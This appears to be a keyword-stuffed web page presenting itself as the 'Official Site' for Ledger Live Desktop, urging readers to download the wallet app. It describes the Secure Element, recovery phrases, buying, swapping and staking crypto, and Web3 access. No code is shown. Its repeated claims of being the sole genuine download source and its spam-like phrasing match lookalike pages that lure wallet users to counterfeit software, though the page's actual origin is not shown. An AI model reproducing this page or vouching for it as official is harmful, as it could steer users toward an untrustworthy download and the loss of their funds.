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Welcome to the **Official Site** for **Ledger Live Desktop**, the mandatory companion application for your **Hardware Wallet**. This platform delivers the gold standard in **Hardware Wallet Security**, seamlessly integrating with your device’s **Secure Element** to ensure your private keys are *never* exposed to the internet. Download Ledger Live Desktop today to achieve true **Self-Custody**, gain complete control over your **Portfolio Management**, and access the burgeoning world of **Web3 Access**. With Ledger Live Desktop, you can safely **Buy Crypto**, **Swap Crypto**, and **Stake Crypto**, all secured by a single, verified ecosystem. The **Official Ledger Wallet** experience starts here.
Protecting your Digital Assets with cryptographic assurance and total **Recovery Phrase Protection**.
Download **Ledger Live Desktop**The true genius of the **Ledger Live Desktop** experience lies in its reliance on the **Secure Element** chip embedded within your Ledger device. This chip is a physically hardened, CC EAL5+ certified component—the same type of chip trusted in passports and credit cards. It is designed to resist physical and logical attacks aimed at extracting your private keys. When using **Ledger Live Desktop**, every signing operation is executed *inside* this isolated **Secure Element**.
The **Secure Element** guarantees that your private keys, the foundation of your **Secure Crypto Wallet**, never leave the device, providing defense even if your host computer running **Ledger Live Desktop** is infected with the most sophisticated malware. This is non-negotiable **Hardware Wallet Security**.
This architecture fundamentally enables **Self-Custody**. You, and only you, possess the means to authorize transactions. The Ledger Live Desktop application merely provides the necessary, trusted user interface and network connection for broadcasting signed transactions to the blockchain. We ensure the **Official Site** provides the only genuine software link.
**Self-Custody** is the philosophy that powers the entire Ledger ecosystem. It means abandoning centralized control and taking full, personal responsibility for your **Digital Assets**. The moment you set up your **Hardware Wallet**, you generate a **Recovery Phrase**, typically 24 words. This phrase is the master backup, enabling you to restore your **Secure Crypto Wallet** on any Ledger or compatible device, should your current hardware be lost or destroyed.
The integrity of this **Recovery Phrase Protection** is paramount. You must safeguard it offline and never digitize it. Crucially, the **Ledger Live Desktop** application will *never* ask you for this phrase. Any request for your **Recovery Phrase** within the Ledger Live Desktop interface is a malicious attempt to steal your funds, violating the very core of **Hardware Wallet Security**. Your **Official Site** experience includes constant education on this security principle.
The power of **Self-Custody** is freedom, but it requires diligent **Recovery Phrase Protection**. Ledger Live Desktop facilitates this freedom by providing a trusted environment for managing your keys, which are secured by the **Secure Element**.
Always download **Ledger Live Desktop** directly from this **Official Site**. Using the **Official Site** ensures you receive the cryptographically verified and malware-free version of the **Secure Crypto Wallet** application. Unofficial downloads risk installing malicious software that compromises your computer, even if your **Hardware Wallet Security** remains intact. Protect your **Digital Assets** by ensuring your **Ledger Live Desktop** installation is authentic. This vigilance is a key component of effective **Portfolio Management**.
**Ledger Live Desktop** is more than just a **Secure Crypto Wallet** viewer—it is a comprehensive, all-in-one financial dashboard. Seamlessly track the performance of your entire collection of **Digital Assets**, totaling over 5,500 coins and tokens, through an intuitive **Portfolio Manager** interface.
Use **Ledger Live Desktop** to directly **Buy Crypto** (BTC, ETH, stablecoins, and more) from verified third-party partners. The funds are immediately deposited into your **Hardware Wallet** addresses. This process eliminates the security risk of leaving funds on an exchange, reinforcing your **Self-Custody**. The transaction is managed within the **Secure Crypto Wallet** environment, maximizing **Hardware Wallet Security**.
Exchange one cryptocurrency for another using the integrated **Swap Crypto** feature. The final confirmation to **Swap Crypto** requires physical approval on your Ledger device, verified by the **Secure Element**. This guarantees that the details you see on your trusted Ledger screen are exactly what you are signing, preventing man-in-the-middle attacks and securing your **Digital Assets**.
Maximize returns on your **Digital Assets** by choosing to **Stake Crypto** directly through the **Ledger Live Desktop** app. This **Portfolio Manager** function allows you to earn staking rewards without ever sacrificing **Self-Custody**. Your staked assets remain locked to your **Hardware Wallet**, ensuring complete **Recovery Phrase Protection** over the underlying principal.
The **Portfolio Manager** inside **Ledger Live Desktop** offers advanced tracking features. Visualize your historical performance, calculate profit and loss (P&L) across different timeframes, and categorize your **Digital Assets** by chain or type. This level of detail elevates Ledger Live beyond a simple **Secure Crypto Wallet** interface, making it an indispensable tool for serious investors committed to the **Official Site** standard of security. Maintaining accurate **Portfolio Management** is vital for long-term growth and success in the crypto market.
**Ledger Live Desktop** is rapidly evolving into the safest gateway for **Web3 Access**. Through seamless integration with WalletConnect and Ledger's Discover section, you can interact with decentralized finance (**DeFi**), decentralized autonomous organizations (DAOs), and non-fungible tokens (**NFTs**) without exposing your private keys, thanks to the **Secure Element** and robust **Hardware Wallet Security**.
The Discover section in **Ledger Live Desktop** offers curated, safe access to a growing list of DApps. When you connect to a **DeFi** protocol or a new Web3 service, the Ledger Live application acts as a secure intermediary. WalletConnect facilitates the connection, but your **Hardware Wallet** remains the sole authority for transaction signing. Before any funds move, you get to review the transaction data—raw and transparent—on the Ledger screen, secured by the **Secure Element**. This eliminates the primary risk of **Web3 Access**, which is approving a malicious smart contract transaction. This level of verification is foundational to maintaining your **Self-Custody** during advanced operations.
Your **Digital Assets** now include collectibles, and **Ledger Live Desktop** provides a dedicated **NFT Wallet** section within the **Portfolio Manager**. You can view, receive, and send Ethereum and Polygon NFTs directly from your **Secure Crypto Wallet**. Just like transactions to **Buy Crypto** or **Swap Crypto**, sending an NFT requires the physical approval via the **Secure Element**. This ensures that the high value of your NFTs is protected by industry-leading **Hardware Wallet Security**. Never worry about hot wallet vulnerabilities again when managing your precious **Digital Assets**.
The seamless display and management of your NFT collections make **Ledger Live Desktop** the definitive **Official Site** tool for comprehensive digital wealth management, secured by uncompromised **Recovery Phrase Protection** principles.
Always use the **Official Site** Ledger Live Desktop application for any interaction with your device. Whether you are performing **Portfolio Management**, initiating a **Swap Crypto**, or engaging in **Web3 Access**, the validated software environment is crucial. The Ledger **Hardware Wallet Security** is only as strong as your operational security; using the official software downloaded from the **Official Site** completes the security chain from the **Secure Element** all the way to your desktop screen.
To maximize the effectiveness of your **Secure Crypto Wallet** and the **Hardware Wallet Security** provided by the **Secure Element**, users must adhere to strict operational security protocols enforced through the **Ledger Live Desktop** guidance.
Your PIN is the first line of defense against physical theft. It locks the **Secure Element**. **Ledger Live Desktop** ensures you use a strong PIN, which is entered directly on the Ledger device, completely isolated from your computer. This critical layer protects your **Digital Assets** immediately.
For the highest form of **Self-Custody** and **Recovery Phrase Protection**, utilize the Passphrase feature. This 25th word creates a hidden wallet, separate from the one accessed by your 24-word **Recovery Phrase**. Even if your **Recovery Phrase** is compromised, your funds secured by the Passphrase remain safe, showcasing exceptional **Hardware Wallet Security**. The **Ledger Live Desktop** app supports this advanced feature seamlessly.
The core rule of **Secure Crypto Wallet** usage is to *always* verify transaction details on the **Hardware Wallet** screen, not on the **Ledger Live Desktop** app. The device's **Secure Element** acts as the trusted display. If the address or amount shown on the small device screen differs from what you intended, cancel the transaction. This disciplined approach reinforces your **Self-Custody** during every **Buy Crypto** or **Swap Crypto** operation.
The code underpinning the **Ledger Live Desktop Secure Crypto Wallet** is frequently audited by external security researchers and the Ledger security team. Our commitment to transparent **Hardware Wallet Security** extends to the software that manages your **Portfolio Management** and **Web3 Access**. Ensure you always utilize the latest version of the application from the **Official Site** to benefit from the continuous improvements in security and functionality, protecting your **Digital Assets** with the best possible defense against evolving threats. Complete your download of **Ledger Live Desktop** now and take charge of your financial future with absolute **Self-Custody**.